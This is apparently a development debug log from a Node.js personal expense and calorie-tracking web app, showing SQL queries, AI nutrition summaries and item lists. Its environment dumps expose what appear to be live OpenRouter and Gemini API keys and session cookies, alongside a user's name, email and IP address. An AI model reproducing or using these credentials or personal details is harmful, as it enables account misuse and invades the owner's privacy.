  }
}
2025-12-21T05:35:06.185Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T05:35:06.185Z server-connect:app Executing action step select
2025-12-21T05:35:06.185Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T05:35:06.186Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one food item logged. This single item, while containing some carbohydrates and fats, is likely insufficient to support muscle development and recovery goals, especially with a consistent gym routine. The weight trend shows a general downward movement over the past two weeks, indicating some progress.",
    bad_points: [
      'Extremely low food intake for the day.',
      'Lack of protein sources to support muscle repair and growth.',
      'Potential for insufficient energy to fuel workouts and daily activities.',
      'Limited variety in food choices, impacting micronutrient intake.'
    ],
    good_points: [
      'Consistent gym attendance is a positive for muscle development and fat loss.'
    ],
    suggestions: [
      'Incorporate at least two more substantial meals throughout the day.',
      'Prioritize protein-rich foods like lean meats, poultry, fish, dairy, or legumes in each meal.',
      'Ensure adequate carbohydrate intake to replenish energy stores after workouts.',
      'Include healthy fats from sources like nuts, seeds, or avocados.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'Continued slow loss'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T05:35:06.188Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T05:35:06.189Z server-connect:output item_list: [
  {
    id: 473,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghughri with less oil,Steamed vegetables with a side of lean protein,Lentil soup (dal) with vegetables',
    created_at: '2025-12-20T22:31:45.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
  },
  {
    id: 474,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)',
    replacements: 'Casein protein (slower digestion, good for overnight),Egg white protein,Plant-based protein (pea, rice, soy - may have different amino acid profiles)',
    created_at: '2025-12-21T00:05:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout. High in protein and low in carbs/fat.'
  }
]
2025-12-21T05:35:06.190Z server-connect:app Executing action step setvalue
2025-12-21T05:35:06.190Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T05:35:06.190Z server-connect:output var_total: 370
2025-12-21T05:35:06.190Z server-connect:app Executing action step setvalue
2025-12-21T05:35:06.190Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T05:35:06.190Z server-connect:output var_consumed: 15
2025-12-21T05:35:06.190Z server-connect:app Executing action step setvalue
2025-12-21T05:35:06.190Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T05:35:06.190Z server-connect:output var_deficit: 2030
2025-12-21T05:35:06.190Z server-connect:app Executing action step custom
2025-12-21T05:35:06.190Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T05:35:06.192Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '370',
    surplus_or_deficit: '2030',
    status_flag: 2
  }
]
2025-12-21T05:35:06.817Z server-connect:app Executing action step identify
2025-12-21T05:35:06.817Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:06.818Z server-connect:output identity: 1
2025-12-21T05:35:15.688Z server-connect:app Executing action step identify
2025-12-21T05:35:15.688Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:15.688Z server-connect:output identity: 1
2025-12-21T05:35:20.803Z server-connect:app Executing action step identify
2025-12-21T05:35:20.803Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:20.803Z server-connect:output identity: 1
2025-12-21T05:35:49.503Z server-connect:app Executing action step identify
2025-12-21T05:35:49.503Z server-connect:app options: { provider: 'security' }
2025-12-21T05:35:49.503Z server-connect:output identity: 1
2025-12-21T07:06:22.453Z server-connect:router Serving templateView /
2025-12-21T07:06:22.455Z server-connect:app Executing action step identify
2025-12-21T07:06:22.455Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:22.455Z server-connect:output identity: 1
2025-12-21T07:06:22.455Z server-connect:app Executing action step restrict
2025-12-21T07:06:22.455Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T07:06:22.457Z server-connect:output restrict: undefined
2025-12-21T07:06:22.457Z server-connect:app Executing action step restrict
2025-12-21T07:06:22.457Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T07:06:22.458Z server-connect:output restrict: undefined
2025-12-21T07:06:22.458Z server-connect:router Render template layouts/main
2025-12-21T07:06:22.458Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-21T07:06:22.963Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T07:06:22.964Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T07:06:22.964Z server-connect:app Executing action step identify
2025-12-21T07:06:22.964Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:22.964Z server-connect:output identity: 1
2025-12-21T07:06:22.964Z server-connect:app Executing action step restrict
2025-12-21T07:06:22.964Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:22.965Z server-connect:output restrict: undefined
2025-12-21T07:06:22.965Z server-connect:app Executing action step select
2025-12-21T07:06:22.965Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T07:06:22.966Z server-connect:app Executing action step identify
2025-12-21T07:06:22.966Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:22.966Z server-connect:output identity: 1
2025-12-21T07:06:22.966Z server-connect:app Executing action step restrict
2025-12-21T07:06:22.966Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T07:06:22.970Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T07:06:22.972Z server-connect:output restrict: undefined
2025-12-21T07:06:22.972Z server-connect:app Executing action step single
2025-12-21T07:06:22.972Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T07:06:22.973Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T07:06:26.495Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T07:06:26.495Z server-connect:app Executing action step identify
2025-12-21T07:06:26.495Z server-connect:app options: { provider: 'security' }
2025-12-21T07:06:26.496Z server-connect:output identity: 1
2025-12-21T07:06:26.496Z server-connect:app Executing action step restrict
2025-12-21T07:06:26.496Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T07:06:26.496Z server-connect:output restrict: undefined
2025-12-21T07:06:26.496Z server-connect:router Render template calorie-tracker
2025-12-21T07:06:26.496Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
